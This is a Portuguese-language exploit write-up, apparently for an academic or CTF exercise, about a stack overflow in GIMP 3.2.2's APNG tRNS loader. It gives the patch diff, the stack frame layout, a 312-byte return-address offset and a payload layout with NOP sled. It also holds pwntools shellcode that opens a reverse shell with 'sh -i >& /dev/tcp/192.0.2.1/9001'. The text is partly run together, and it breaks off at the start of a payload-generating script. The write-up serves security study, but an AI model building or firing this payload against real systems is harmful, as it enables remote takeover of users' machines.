O GIMP 3.2.2 contém um estouro de buffer baseado em pilha em seu carregador APNG (load_apng_image) ao processar o chunk tRNS (transparência). Este writeup demonstra uma prova de conceito para execução remota de código explorando essa vulnerabilidade.
tRNS do APNG do GIMP → RCEAutor: Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Data: 2026-11-03
Alvo: GIMP 3.2.2 (Linux x86_64)
CVE: CVE-2026-92183 (7.8 ALTA)
CWE: CWE-121: Estouro de Buffer Baseado em Pilha
Impacto: Execução Remota de Código (via arquivo PNG/APNG malicioso)
Aviso Legal: Este documento é apenas para fins educacionais. Os números de CVE e versão são de um exercício acadêmico/CTF controlado. Não use isso contra sistemas que você não possui ou não tem permissão explícita para testar.
O GIMP 3.2.2 contém um estouro de buffer baseado em pilha em seu carregador APNG (load_apng_image) ao processar o chunk tRNS (transparência). O comprimento do chunk é confiável sem validação contra o buffer de destino fixo de 256 bytes trns[256], permitindo que um atacante sobrescreva a pilha e sequestre o fluxo de controle.
O documento público existente demonstra apenas uma negação de serviço (o GIMP trava). Este documento estende a análise para um exploit completo de shell reversa ao:
acTL/fcTL.tRNS malicioso cujo comprimento excede 256 bytes.O exploit assume um ambiente sem proteções (ASLR desabilitado, NX desabilitado, sem canário de pilha) conforme descrito nos slides de referência. Também discutimos por que essas mitigações são importantes e como o exploit se comporta quando elas estão habilitadas.
Um arquivo PNG consiste em chunks:
| Campo | Tamanho |
|---|---|
| Comprimento | 4 bytes (big-endian) |
| Tipo do Chunk | 4 bytes (ASCII) |
| Dados do Chunk | Comprimento bytes |
| CRC | 4 bytes |
APNG estende o PNG com chunks auxiliares adicionais:
acTL (Controle de Animação) — marca o arquivo como um APNG. Deve aparecer antes do primeiro IDAT.fcTL (Controle de Quadro) — precede os dados de cada quadro.fdAT (Dados de Quadro) — contém dados do quadro (alternativa ao IDAT para quadros subsequentes).O plugin PNG do GIMP (file-png) ramifica para load_apng_file quando vê um chunk acTL, mesmo que a extensão do arquivo seja .png.
Do diff do patch:
Versão vulnerável (GIMP 3.2.2):
else if (png_id == id_tRNS)
{
for (gint i = 0; i < chunk.size; i++)
trns[i] = chunk.data[i + 8];
}
Versão corrigida (GIMP 3.2.6):
gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
trns[i] = chunk.data[i + 8];
O buffer de destino é declarado como:
guchar trns[256];
Como chunk.size é lido diretamente do arquivo e não é limitado, um chunk tRNS com size > 256 transborda trns[] na pilha. O deslocamento + 8 indica que chunk.data aponta para o início do chunk (incluindo o cabeçalho de 8 bytes de comprimento + tipo), então chunk.data[i + 8] lê os bytes de dados reais.

Quando um arquivo é aberto, o núcleo do GIMP seleciona o carregador antes que qualquer código de plug-in seja executado. file_open_pre_check() chama gimp_plug_in_manager_file_procedure_find(), que faz a correspondência por extensão ou bytes mágicos. Um arquivo .apng vai para file-apng-load, e um arquivo com a assinatura PNG vai para file-png-load. O núcleo executa o procedimento escolhido por meio de gimp_plug_in_manager_call_run(), que gera o plug-in file-png como processo filho e envia o nome do procedimento e os argumentos por um pipe. No filho, load_image() sempre é executado primeiro e constrói a camada PNG base. apng_load() então chama load_apng_image() incondicionalmente. png_load() a chama apenas se load_image() viu um chunk png/fcTL. load_apng_image() reabre o arquivo e analisa os chunks por conta própria, então a passagem anterior pelo libpng não valida nada para ela. png_load() também ignora seu valor de retorno e relata sucesso de qualquer forma.
O filho é criado por gimp_spawn_async(), que em sistemas POSIX chama vfork() e em seguida execve() imediatamente (app/core/gimp-spawn.c:171-199). execve() descarta os mapeamentos de memória do filho e carrega o binário file-png e suas bibliotecas do zero. O filho, portanto, não possui nada do heap ou da pilha do pai e, em sistemas com ASLR, recebe um novo layout de endereços a cada abertura de imagem. O que sobrevive ao exec é o ID do processo, os privilégios do usuário, o ambiente que o GIMP passa e quaisquer descritores de arquivo não marcados como close-on-exec. Estes incluem as duas extremidades do pipe passadas na linha de comando. As extremidades do pipe do próprio pai são marcadas como close-on-exec para que o filho não as herde. Isso isola a memória, mas não coloca o filho em sandbox. Um filho comprometido ainda pode ser executado como o usuário, ler os mesmos arquivos e enviar ao pai mensagens e dados de tile forjados pelo pipe e pela memória compartilhada.
O quadro de pilha da função vulnerável (simplificado, compilado com -O2 -z execstack -fno-stack-protector):
+------------------+ <- lower addresses
| trns[256] | (offset 0)
+------------------+
| ... |
| saved RBP |
| saved RIP | <- return address
+------------------+ <- higher addresses
O deslocamento exato do início de trns até o endereço de retorno salvo depende do compilador e das variáveis locais adjacentes. No ambiente de referência, é de 312 bytes. Determinámos isto ao:
tRNS.RIP no momento da falha e calcular o deslocamento com cyclic_find().Com -O2, o iterador do ciclo i é provavelmente armazenado num registo, pelo que não fica entre o buffer e o endereço de retorno. O deslocamento de 312 bytes corresponde a trns[256] mais alinhamento e outros registos salvos.
Os dados de tRNS são:
[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
trns e alcança o endereço de retorno salvo.0x7ffffffffdeb2 + 0x10 (aponta para o NOP sled).execve("/bin/bash", ...) para gerar um reverse shell.Shellcode (gerado com pwntools):
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
'/bin/bash',
['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
{'PATH': '/usr/bin:/bin'}
))
O execve substitui o processo filho file-png por um shell. Como o GIMP cria um processo filho para a execução do plugin, o shell sobrevive independentemente do processo principal do GIMP (que fica travado à espera do plugin). O atacante recebe um reverse shell na porta 9001.
Este script cria um PNG mínimo de 1×1 e injeta diretamente o chunk tRNS malicioso. É útil para compreender a estrutura do ficheiro.
#!/usr/bin/env python3
# create_payload.py
from pwn import *
import png
import io